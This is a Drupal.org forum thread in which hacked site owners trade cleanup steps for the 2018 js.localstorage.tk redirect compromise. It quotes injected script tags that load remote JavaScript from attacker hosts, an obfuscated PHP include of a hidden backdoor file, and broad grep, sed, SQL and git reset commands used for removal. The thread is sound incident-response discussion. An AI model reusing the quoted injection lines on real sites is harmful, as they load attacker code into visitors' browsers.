By jheirman on

Hi everyone

I'm encountering an very serious problem. My website got compromised after the vulnerability that got exposed a couple of weeks ago. I'm getting now the js.localstorage.tk redirect. I can't seem to restore the site, but managed to track it down to a couple of items.

Ultimate solution would be to start from scratch, but there are +-100 pages on the site, so am trying to start from the existing database.

What I did:

1) Deleted EVERYTHING via Filezilla FTP. 

2) Installed Drupal 7.59 and did a fresh install.

3) In settings.php referred to the existing -compromised- database. So far so good.

4) I used custom theme best_responsive which I tweaked. Also did a fresh install of the theme. So far so good.

5) Changed the page.tpl.php in the new file, and copied the css. This also gave no error. Still there was no site to be displayed, as I had no modules installed yet. 

6) Upon installing all the modules, I've redone them one by one, all with fresh installs from the project pages and noticed that the i18n-module caused the redirect to the hacker. It was the subfolder I18n_menu that not only caused the website to redirect to the hacker, but also ensured the entire lay-out as it was (which sounds strange to me). This leads me to believe that there must be a reference in the database as every folder and file was newly installed. Don't know where to search though.

7) I don't see any changes in the php files throughout the website when there is a redirect to the hack. All files are identical to a fresh install.

8) This is what the site looks like without the i18n_menu folder. It just displays the header, and am wondering where the entire website is. Cannot login as well. www.baertmengvoeders.be. Again, upon adding the i18n_menu, site displays the redirect to the website of the hacker (js.localstorage.tk)

Questions:

- Any help in getting rid of the backdoors the hacker used, and where to look? 

- Is the database itself comprised? Anyway to restore without deleting all of the settings, content, nodes, views?

- Any idea why on earth the i18n module would cause the hack AND is responsible for the entire layout and displaying of the content on the site?

- If really no option available through the existing database, is there a way to export content or nodes, so I can use that at least? Even it it may just by typing over the text? In what tables to look?

I am not a php nor Drupal expert, I don't use drush either. Any help would be much appreciated as I really don't know what to do now.

Thanks!

Kind regards

J.

⋅ Categories: Drupal 7.x

Comments

vm’s picture

vm commented

revert to a backup of the DB pre-hack utilizing the version of Drupal installed at the time. Immediately update Drupal to the latest release.

jheirman’s picture

jheirman commented

Thanks for the reply. If I don't have any recent back-up, would it be safe to assume the hosting provider has one?

koenrog’s picture

koenrog commented

I wouldn't assume. Ask them.

koenrog’s picture

koenrog commented

I was hacked too and found a suspicious file in my public files folder which caused the problems. Also the logs were very helpful to find an exact time for the attack - I only found the Drupal logs after everything was up and running again.

I'm just struggeling with file permissions of the Drupal code at the moment. Setting them as good practice (read only) makes the site not work properly 

jheirman’s picture

jheirman commented

Mind to share what file that was? And did the site function as normal after the deletion of that file? I guess that would mean there was no reference in the database that created that file or did you have to restore the database as well?

koenrog’s picture

koenrog commented

The file was stats.php and contained one single line of rubble.

You can find it on http://ddecode.com/phpdecoder/?results=022e2e75925ad14e5a5bead0de9beeff

There were many files changed in the Drupal code (and other php code on the same box) - all together +4000 files.  They all contained similar but different code then the above. All it required was delete the first line and put the <?php back (appart from a few php files starting with <script>. The database seemed fine. I did change passwords of course.

I used grep -Rl "eval( base64_decode" /var/www/*  to find them and for i in *.php; do sed -i "1s/.*/<?php/" "$i"; done to clean them.

In the database I only found the file in main_watchdog, referenced 14 times by 7 different IP's, each accessing it 2 times at the same timestamp per IP. 4 different URL's were used to access it. My guess is that 7 different people tried the attack, using 4 different methods to inject something.

At the moment I have the thing scanning de /var/www folder every 10 minutes to see if it stays ok. Fine since 20 hours...

jheirman’s picture

jheirman commented

Did some further troubleshooting. No stats.php file found, nor any of the rubble code that you described. SO doesn't seem anything there. Thanks for the advice!

programemos’s picture

programemos commented

In my case, identify that the script was inside the nodes, when formatting full html, then what I did was to enter the field_data_body table and execute a script that made a replacement of the script for something empty, after that I did the update of all the nodes, the update.php and until now I have not had any problems.

jheirman’s picture

jheirman commented

Thanks for the reply! I assume you went searching directly in the database for the script? Is there a specific string to search for the script rather quickly?

Thanks for the advice.

jorge.alves’s picture

jorge.alves commented

Hi, 

You can search for "localstorage.tk."   SELECT entity_id FROM "field_data_body" WHERE body_value LIKE ("%localstorage.tk.%");

If you find that the pattern is always the same, then you can clean it up, running an update on your table (ex):

UPDATE field_data_body SET body_value=REPLACE(body_value,"<script type='text/javascript' src='https://js.localstorage.tk/s.js'></script>",'') ;

If not then you will need to use regex, always make a backup first before doing anything crazy, and sanitize your text on output (-checkplain etc ...)

johnlclark’s picture

johnlclark commented

Searching localstorage.tk I found this:
<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>

So my fix was:
UPDATE field_data_body SET body_value=REPLACE(body_value,'<script type=''text/javascript'' src=''https://js.localstorage.tk/s.js?qr=888''></script><script type=''text/javascript'' src=''http://193.201.224.233/m.js?d=1''></script>','') ;

Make sure to clear the cache once it's fixed. And update as well.

jheirman’s picture

jheirman commented

Hi John, Jorge

Managed to localize the %localstorage% references in the database on all of the tables. In total there were 65 references found. 1 in the "cache_field" table and 64 in the "field_data_body". Managed to update all 65 references with the result that there are no more references to localstorage.tk (Btw: found some references to other scripts as well under the name of "mysimplename.com". Deleted them to.). 

In conclusion: no more references to the hacking script in the database, new drupal core, new theme. Only thing that remains from the old site is the libraries, the css of the theme, images, and modules.

Still when I browse to the website, I still get the redirect to js.localstorage.tk...

It seems again that in the modules, there should be something there that I can't find. Upon deleting all custom modules, the redirect was gone, but the site obviously wasn't working.

Other options? 

p.s. Can't run update.php as well since it says that the access is denied. 

Thanks for the help!

johnlclark’s picture

johnlclark commented

Thanks for catching this. I will look in my db's for this. 
One thing, did you replace the entire added code or just the %localstorage% references? It's really important to find that ref but get rid of the whole thing. Maybe diff a corrupted backup with what you have now. I recommend a graphical diff tool since its the 21st century.

GeorgeLangley’s picture

GeorgeLangley commented

Thanks Jorge! I couldn't seem to get your search or replace to work in phpmyadmin SQL, but your post gave me the info I needed to search and destroy this hack manually (thankfully only 20 pages to clean!)

flarrinaga’s picture

flarrinaga commented

Hi

My Drupal site is also affected by the js.localstorage.tk redirect.

I have followed the recomendations given by:

koenrog in https://www.drupal.org/forum/support/post-installation/2018-05-01/drupal...

and jorge.alves in https://www.drupal.org/forum/support/post-installation/2018-05-01/drupal...

but I have not found traces of the malware scripts as reported in those pages.

Has anaybody else been infected in a different way? Other alternatives to restore the site?

I have updated core and other modules to the latest version but Chrome still detects the redirect.

Thank you in advance. 

jheirman’s picture

jheirman commented

You can always get started with cleaning up the database with the help from Jorge and John above. That's that. Don't know where else this could be.

I don't know if reverting back to a back-up of the database helps, especially since it looks like all the references to localstorage are gone in the database. But if you have a back-up, please try and keep us updated.

This is pain man :)...

flarrinaga’s picture

flarrinaga commented

Hi

I tried to find the pattern "localstorage.tk." in my database using  SELECT entity_id FROM "field_data_body" WHERE body_value LIKE ("%localstorage.tk.%"); but I found no hits.

That is why I wrote yesterday.

In my case I can not find those traces anywhere (nor file system nor database).

Today I have performed the following test:

I  copied the compromised file system to build a new site. I created an empty database. I have changed the settings.php file for the default value so Drupal wizard starts. 

Well, in my case the message from Chrome announcing the redirect to localstorage.tk, pops up rigth after I start the wizard (without connection to the database). 

I believe the malware is in the code and no in the database but I can not find it using your recommendations.

Keep on looking.

Regards

johnlclark’s picture

johnlclark commented

i found a bunch of hostile nasty .php files the the files directory on down. be careful though. i also found a few my clients put in as well. Also, always use incognito Chrome when doing any testing. It could just be in your caches.

flarrinaga’s picture

flarrinaga commented

Hi

I think I have clean my site. Fingers crossed.

To do that I followed the steps mentioned in https://sucuri.net/es/guias/guia-limpiar-sitio-web-drupal-hackeado. The URL is in Spanish but there is support in English also https://sucuri.net/guides/how-to-clean-hacked-drupal.

In my case, first I reproduced the infected site locally and run all the steps. Later I applied the same steps in the online site.

Highlight the following:

The Drupal modules Hacked and Diff showed me which files had changed (were infected) so I could replace them.

I previously updated modules and themes to the lastest version.

In my case there was a back door that I could not remove (no authorisation) in a .php file (default.settings.php). I had to ask the hosting company to remove it for me.

While I was waiting for the removal of the file, files that I had cleaned/replaced got infected again. So removing the back-door is important.

It seems that my database is not affected. I have not found any strange scripts. Although I am not 100% sure. Let's wait.

I have changed passwords.

I have run site check at https://sitecheck.sucuri.net/ and it seems that everything is correct.

Thank you for your help.

 

breck’s picture

breck commented

Two different drupal sites (both 7+) had the string

<script type='text/javascript' src='https://mysimplename.com/sc.js?p=3'></script><script type='text/javascript' src='https://mysimplename.com/sc.js?p=3'></script>

Into most of the field_data_body.body_value fields.  

I've done my best to clean the Drupal code but should I be worrying about the database credentials as well?  Mysql has many user credentials I'd really prefer not to be fussing with.

Nicolas_C’s picture

Nicolas_C commented

Hello all,

My drupal 7 runs with multisite.

One of these sites got hacked arround April, 20th, 2018. The machine is down since then.

There is no evidence that the other drupal sites of the multisite installation have been compromized.

But I need to make sure that their content and database, and drupal 7's core, have not been corrupted, to restart at least all the other sites.

In the database, I found no trace of the above :

  • there is no js.localstorage.tk/s.js
  • there is no mysimplename*

Conversely, in the sessions table, there are +/- ten entries for user 0.

However, there exist such entries in the sessions table of all my backups. So, i guess it is not the sign of a hack...

In the file section of these sites, diffing the current version and our past backups, I see no modification appart ours.

In the drupal core + theme + modules section, there have no change at all as comparared to our backups before the hack.

Do you know what other verifications I should do to make sure the other drupal 7 multisites have not been compromized ?

Do you know what other verifications I should do to make sure the drupal 7 core (+ module + theme + ...) have not been corrupted ?

So that I could reinstall the current BDD+files on a freshly installed server, then upgrade drupal..

Thanks much,

Nicolas

bluegroper’s picture

bluegroper commented

Not a good way to start the weekend with 3 of your customers reporting 500 Server Errors but on investigation I found some suspicious files one called stats.php and others with random letters about the site. The reason for the 500 server error is because the permissions on public_html was changed to 777  which is a problem on a server running SuPHP. Changed the directory back to 755 which got rid of the 500 server error straight away. The sites/default directory was also changed to 777 and so was settings.php on one of the sites and in it was the eval base64 code which I deleted and set the default directory back to 555 and settings.php back to 400 also changing the database username password. They were all running Drupal 7.56 so have now upgraded to 7.59 and hope thats the end of it. I think the attack was minimised as the public_html directory was set to 777 which put the sites of the air.

Des

bluegroper’s picture

bluegroper commented

Even upgrading to the latest drupal 7.59  I am getting index.php files being created in sub directories where they are are not suppose to be. I delete them and any foreign file. The contents are  using a lot of escape characters like this:


/*bf080*/

@include "\057hom\145/bl\142l14\0610/p\165bli\143_ht\155l/m\157dul\145s/o\166erl\141y/i\155age\163/.8\146d22\06470.\151co";

/*bf080*/

Its obvious they are trying to include a file the modules/overlay directory  with the file name .8fd22470.ico which I found and downloaded, I replaced with some code of my own to capture the ip addresses. And made it read only so it cannot be written to. I am constantly monitoring my site and examining logs. Banning ip address ranges from China which I am getting loads of access denied messages from. My main index.php file was also compromised and now have made it read only 444. At least a backdoor program wont be able to write to it.

gmaximus’s picture

gmaximus commented

This is exactly what I'm experiencing. 

I stayed up last week. Shut out all traffic to the website except for myself using .htaccess rule and a custom 503 page. Used git to clean the files. Done the updates. Cleared all caches. From my document root I ran these commands for the permissions. 

find ../[siteFolderName] -type d -exec chmod 755 {} \;

find ../[siteFolderName] -type f -exec chmod 644 {} \;

chmod 2775 sites/default/files

chmod g+w -R sites/default/files

chmod 444 sites/default/settings.php

Today using git status I could see all the files are back and whilst others have been modified. Furthermore the permissions have all been changed to 755 on the all the files.

I also experienced the same permissions problem reported for the default.settings.php file when using git to reset my code inline with the remote repo. That required signing in as root.

Incase it helps others, the git command I used is

git fetch origin && git reset --hard origin/master && git clean -f -d

I've often called Google "gods homepage", now I call chatgpt "conversations with God."

I am always interested in paid work... Contact me through Online Business Builders

gmaximus’s picture

gmaximus commented

Doing the git command doesn't reset the .git directory. So I believe this is how they got back on my server.

Now I deleted everything and restored a local copy of everything. Fingers crossed!

I've often called Google "gods homepage", now I call chatgpt "conversations with God."

I am always interested in paid work... Contact me through Online Business Builders

bluegroper’s picture

bluegroper commented

It takes some doing but you need to go through every folder searching for suspicious files. Delete any .ico file you see, index.php file where it should not be and php files that have suspect hex names. I finally got on top of it after reviewing the logs I had put in to record every url, query string and post data.  Which was useful in identifying suspect file paths. Had to repeat this on 5 customer sites. I didn't find any evidence the database was corrupted  but changed passwords after every time the index.php files were discovered.

Had to repeat this on 5 customer sites which were also corrupted.

fukasawa.takahiro’s picture

fukasawa.takahiro commented

In my case, stats.php and libasset.php were set on several sites I manage.
These version are 7.58.
Also, the first line of the theme page.tpl.php and the first line of the example.sites.php have been tampered with.
It is written in base64.
All the modules are infected, and eventually it was in a state where it can not be recovered unless all the files and directories on the server have been deleted.
After all, I deleted all core files except themes and files directory, then uploaded clean Drupal 7.59 and all the modules.
I inspected everything in the sites directory manually.
After that, we also introduced access restrictions with htaccess.
Strangely, some sites were Drupal 6.x, but there was no tampering. All that has been tampered with is 7.58.

bluegroper’s picture

bluegroper commented

I have been inundated with trolls around the world because of the lastest Drupal exploit. While 7.59 fixed a lot of it there still remained an exploit through the user/registration form. The exploit puts a file with random characters with a .ico extension and places an index.php permissions 0755 with an include to the .ico in every directory and sub directory of the site from public_html.

The include statement includes lots of escape character code so to not make it obvious where the .ico file is. But I can read it as I am getting use to decoding it. The main index.php of the drupal installation also has the include appended even though I had it set the file to 0444 the exploit changes it to 0755 and writes to it. All the index.php files created in all the sub directories also have permissions set to 0755.

I placed some code in bootstrap.inc to write a file of all incoming url's, ip numbers and user agents. And what I found is the vast number of calls were to /user/register and node/add  and probably have $_POST injected code and from ip numbers of every scumbag in the world, a lot of ip numbers when googled found lots of complaints and they were on black lists.

I have now blocked users from registering and anyone calling /user/register will be met with a 403 accessed denied and a message I have recorded your ip number. This is a serious problem and the whole Drupal community should be worried that the exploit is still there in some capacity after the latest update

vm’s picture

vm commented

I believe this indicates that there is a backdoor inserted pre-7.59 upgrade and from which you aren't protected simply because the files were updated.

bluegroper’s picture

bluegroper commented

I have trashed my whole site and installed drupal 7.59 and loaded /sites from backup from my PC. The user/registration form is the problem. If you monitor the incoming traffic you will find a lot of it is to yoursite.com/user/register

vm’s picture

vm commented

'loaded from a backup on my PC' a backup of what? If the database, that is likely where the backdoor is. If the /sites/ folder have you combed them to insure there isn't any code that doesn't belong, particularly because there is a settings.php file in /sites/ folders.

Drupal.org runs Drupal 7.59, the issue isn't witnessed here.

None of my D8 sites are receiving the .ico files. Sure there are attempts at trying to include it but I'm not seeing any added files.

bluegroper’s picture

bluegroper commented

Its a clean backup of my theme, database and assets from after /sites. You can stick your head in the sand the exploit is still there!

vm’s picture

vm commented

You can file a security issue @ https://www.drupal.org/node/101494 rather than in the forums.

bluegroper’s picture

bluegroper commented

Don't worry I will after I gather more information and investigate more. Just highlighting there is still a problem. Cheers!

vm’s picture

vm commented

Clarity for others: it hasn't been proven by this particular user or anyone else that there is a problem with Drupal 7.59, only with this users sites which were upgraded after being hacked.

bluegroper’s picture

bluegroper commented

All my customer sites, and as if they would target drupal.org

vm’s picture

vm commented

drupal.org is the largest drupal site. Why wouldn't they target d.o.? That would be a big notch on the hacker cheesedoodle bag.

pheski’s picture

pheski commented

None of my 5 7.59 sites are experiencing this and I am not seeing evidence that this is a common problem for other 7.59 sites. This suggests the problem is related to a backdoor remnant.

flarrinaga’s picture

flarrinaga commented

In my case there is also a backdoor that I can not identify (as mentioned by bluegrouper)

The file index.php changes after a while and if I do not replace it, other files in different modules also change.

As bluegrouper my local deployment is not affected since it has no Internet presence. I also beleive there is some kind of bug. In both cases I use 7.59

If someone finds a solution I will apreciate it. Thanks for your posts

vm’s picture

vm commented

There are other threads as lengthy as this one in which users have attempted to close backdoors found within the database and files. I suggest sussing those out. The PSA from the security group stated a rebuild would be necessary for already compromised sites.

mmjvb’s picture

mmjvb commented

Be aware of the danger of using anything from the compromised site. To be save you need to rebuild the infra from scratch, only using trusted source.

bluegroper’s picture

bluegroper commented

Yeah I do have a development to production strategy all theme files are stored locally and are copied only one way. Drupal core is only ever updated from Drupal 7.59 being the latest. However assets  (/sites/default/files) are from backup and I get fresh copies of all installed modules. But the problem hasn't reoccurred today as I have been keeping logs of every ip visiting the site. Any ip number attempting to inject code is getting banned  by adding to the deny list in my htaccess file. I have also closed registration on the site so anyone calling /user/register will get access denied.